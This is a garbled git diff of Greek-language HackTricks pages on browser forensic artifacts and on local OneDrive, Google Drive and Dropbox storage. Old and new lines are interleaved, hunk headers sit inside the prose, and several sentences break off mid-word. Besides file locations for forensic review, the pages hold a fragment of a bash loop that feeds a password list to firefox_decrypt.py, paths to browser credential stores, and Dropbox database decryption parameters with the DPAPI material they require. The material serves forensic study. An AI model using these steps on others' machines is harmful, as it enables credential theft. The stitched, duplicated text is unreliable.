{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αποτυπώματα Περιηγητών <a href="#id-3def" id="id-3def"></a>
Τα αποτυπώματα περιηγητών περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα προσωρινής μνήμης. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Τα αποτυπώματα του περιηγητή περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα cache. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Παρακάτω παρουσιάζεται ένα σύνολο των πιο κοινών αποτυπωμάτων περιηγητών:
- **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για τον εντοπισμό επισκέψεων σε κακόβουλους ιστότοπους.
- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας ενδείξεις όταν συνδυαστούν με το ιστορικό πλοήγησης.
- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύονται από τον χρήστη για γρήγορη πρόσβαση.
- **Πρόσθετα και Επεκτάσεις**: Πρόσθετα ή επεκτάσεις περιηγητή που έχουν εγκατασταθεί από τον χρήστη.
- **Προσωρινή Μνήμη**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για τη βελτίωση των χρόνων φόρτωσης του ιστότοπου, αξιόλογο για δικαστική ανάλυση.
- **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
- **Εικονίδια Ιστοτόπων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες για τις επισκέψεις του χρήστη.
- **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
- **Λήψεις**: Εγγραφές αρχείων που έχουν ληφθεί μέσω του περιηγητή.
- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε ιστοφόρμες, αποθηκεύονται για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
- **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του περιηγητή.
Εδώ υπάρχει ένα σύνοψη των πιο κοινών αποτυπωμάτων περιηγητών:
* **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας εισαγωγές όταν συνδυαστούν με το ιστορικό πλοήγησης.
* **Σελιδοδείκτες**: Ιστότοποι που έχουν αποθηκευτεί από τον χρήστη για γρήγορη πρόσβαση.
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις περιηγητή ή πρόσθετα που έχουν εγκατασταθεί από τον χρήστη.
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για βελτίωση των χρόνων φόρτωσης του ιστότοπου, πολύτιμο για ανάλυση ψηφιακών αποτυπωμάτων.
* **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
* **Εικονίδια Αγαπημένων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
* **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
* **Λήψεις**: Εγγραφές αρχείων που κατέβηκαν μέσω του περιηγητή.
* **Δεδομένα Φόρμας**: Πληροφορίες που εισήχθησαν σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
* **Εικόνες Προεπισκόπησης**: Προεπισκόπηση ιστοτόπων.
* **Custom Dictionary.txt**: Λέξεις που προστέθηκαν από τον χρήστη στο λεξικό του περιηγητή.
## Firefox
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, τα οποία αποθηκεύονται σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους κατα
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους καταχωρεί τα προφίλ του χρήστη. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε ένα φάκελο με το όνομα που ορίζεται στη μεταβλητή `Path` μέσα στο `profiles.ini`, το οποίο βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο του. Αν ένας φάκελος προφίλ είναι απουσιάζει, μπορεί να έχει διαγραφεί.
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
* **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
* Χρησιμοποιήστε συγκεκριμένες ερωτήσεις SQL για να εξάγετε πληροφορίες ιστορικού και λήψεων.
* **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
* **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
* **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλου.
* **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
* **addons.json** και **extensions.sqlite**: Πληροφορίες για εγκατεστημένα πρόσθετα και επεκτάσεις.
* **cookies.sqlite**: Αποθήκευση cookie, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
* **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Αποθηκεύει εικονίδια αγαπημένων.
* **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
* **downloads.sqlite**: Παλαιότερη βάση δεδομένων λήψεων, πλέον ενσωματωμένη στο places.sqlite.
* **thumbnails**: Εικόνες προεπισκόπησης ιστοτόπων.
* **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την προστασία ευαίσθητων πληροφοριών.
Επιπλέον, η έλεγχος των ρυθμίσεων αντι-φισικών του περιηγητή μπορεί να γίνει αναζητώντας τις καταχωρήσεις `browser.safebrowsing` στο `prefs.js`, που υποδεικνύουν εάν οι λειτουργίες ασφαλούς περιήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
```bash
#!/bin/bash
@ -61,10 +80,6 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
{% endcode %}
![](<../../../.gitbook/assets/image (417).png>)
## Google Chrome
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
@ -73,32 +88,63 @@ done < $passfile
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Μέσα σε αυτούς τους φακέλους, οι περισσότερες πληροφορίες των χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικές πληροφορίες:
Μέσα σε αυτούς τους φακέλους, η πλειονότητα των δεδομένων του χρήστη μπορεί να βρεθεί στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικά δεδομένα:
- **History**: Περιέχει τις διευθύνσεις URL, τις λήψεις και τις λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί η ιστορία. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, πληκτρολογημένες διευθύνσεις URL, υποβολές φορμών και ανανεώσεις σελίδων.
- **Cookies**: Αποθηκεύει τα cookies. Για επιθεώρηση, υπάρχει το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Περιέχει τα αποθηκευμένα δεδομένα. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Οι σελιδοδείκτες του χρήστη.
- **Web Data**: Περιέχει το ιστορικό των φορμών.
- **Favicons**: Αποθηκεύει τα εικονίδια των ιστότοπων.
- **Login Data**: Περιλαμβάνει τα διαπιστευτήρια σύνδεσης, όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **History**: Περιέχει διευθύνσεις URL, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για την ανάγνωση του ιστορικού. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, την πληκτρολόγηση URL, τις υποβολές φόρμας και τις ανανεώσεις σελίδων.
- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Κρατάει τα δεδομένα cache. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Σελιδοδείκτες του χρήστη.
- **Web Data**: Περιέχει το ιστορικό φόρμας.
- **Favicons**: Αποθηκεύει τα εικονίδια ιστότοπων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες για τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
- **Extensions**: Φακέλους για πρόσθετα και επεκτάσεις του προγράμματος περιήγησης.
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
- **Extensions**: Κατάλογοι για πρόσθετα και επεκτάσεις περιήγησης.
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, περιλαμβάνοντας ρυθμίσεις για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Ενσωματωμένη αντι-φισινγκ του προγράμματος περιήγησης**: Για να ελέγξετε αν η αντι-φισινγκ και η προστασία από κακόβουλο λογισμικό είναι ενεργοποιημένες, εκτελέστε την εντολή `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Ενσωματωμένο αντι-φισικά του προγράμματος περιήγησης**: Για να ελέγξετε αν η προστασία από φισικά και κακόβουλο λογισμικό είναι ενεργοποιημένη, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
## **Ανάκτηση Δεδομένων SQLite DB**
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων SQLite για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώ
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώντας στον διαχωρισμό των αποθηκευμένων πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
</details>
### Αποθήκευση Μεταδεδομένων
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (όπου το VX είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να εμφανίσει αντιφάσεις στον χρόνο τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας το `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή containers όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων λεπτομερειών cache για άλλα εργαλεία της Microsoft, όπως το Skype.
### Επιθεώρηση Cache
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν όνομα αρχείου, φάκελο, αριθμό πρόσβασης, προέλευση URL και χρονικά σημεία που υποδεικνύουν τη δημιουργία, πρόσβαση, τροποποίηση και λήξη της cache.
### Διαχείριση Cookies
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με μεταδεδομένα που περιλαμβάνουν ονόματα, διευθύνσεις URL, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με το χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
### Λεπτομέρειες Λήψης
Τα μεταδεδομένα λήψης είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα containers που κρατούν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Ιστορικό Περιήγησης
Για να ελέγξετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη διαμόρφωση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Πληκτρολογημένες Διευθύνσεις URL
Οι πληκτρολογημένες διευθύνσεις URL και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο στο `NTUSER.DAT` στις διευθύνσεις `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 διευθύνσεις URL που εισήχθησαν από τον χρήστη και τους τελευταίους χρόνους εισόδου τους.
## Microsoft Edge
Τα δεδομένα του Microsoft Edge αποθηκεύονται στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
- **Διαδρομή Προφίλ**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Ιστορικό, Cookies και Λήψεις**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Ρυθμίσεις, Σελιδοδείκτες και Λίστα Ανάγνωσης**: `C:\Users\XX\AppData\Local\P
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.

View file

@ -1,46 +1,46 @@
# Τοπική Αποθήκευση Νέφους
# Τοπική Αποθήκευση Στο Cloud
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
Στα Windows, μπορείτε να βρείτε τον φάκελο του OneDrive στον δρόμο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στον φάκελο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` που περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
Στα Windows, μπορείτε να βρείτε το φάκελο του OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
* Μέγεθος σε bytes
* Ημερομηνία δημιουργίας
* Ημερομηνία τροποποίησης
* Αριθμός αρχείων στο νέφος
* Αριθμός αρχείων στο cloud
* Αριθμός αρχείων στον φάκελο
* **CID**: Μοναδικό αναγνωριστικό του χρήστη του OneDrive
* **CID**: Μοναδικό ID του χρήστη του OneDrive
* Χρόνος δημιουργίας αναφοράς
* Μέγεθος του σκληρού δίσκου του λειτουργικού συστήματος
Αφού βρείτε το CID, συνίσταται να **αναζητήσετε αρχεία που περιέχουν αυτό το αναγνωριστικό**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
Αφού βρείτε το CID συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
## Google Drive
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στον δρόμο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, τα ονόματα αρχείων, οι χρονοσφραγίδες, τα MD5 hashes των αρχείων, κλπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κλπ. Ακόμη, τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων.
@ -48,7 +48,7 @@
## Dropbox
Η Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για τη διαχείριση των αρχείων. Σε αυτόν\
Η Dropbox χρησιμοποιεί **SQLite βάσεις δεδομένων** για τη διαχείριση των αρχείων. Σε αυτές\
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
* `\Users\<username>\AppData\Local\Dropbox`
@ -62,7 +62,31 @@
* Deleted.dbx
* Config.dbx
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Για να καταλάβετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί η Dropbox μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Ωστόσο, οι κύριες πληροφορίες είναι:
* **Εντροπία**: d114a55212655f74bd772e37e64aee9b
* **Αλάτι**: 0D638C092E8B82FC452883F95F355B8E
* **Αλγόριθμος**: PBKDF2
* **Επαναλήψεις**: 1066
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε ακόμα:
* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξαγάγετε αυτά τα δεδομένα ως δυαδικά)
* Τα **`SYSTEM`** και **`SECURITY`** hives
* Τα **κλειδιά μετατροπής DPAPI**: Τα οποία μπορείτε να βρείτε στον φάκελο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Το **όνομα χρήστη** και **κωδικό πρόσβασης** του χρήστη των Windows
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
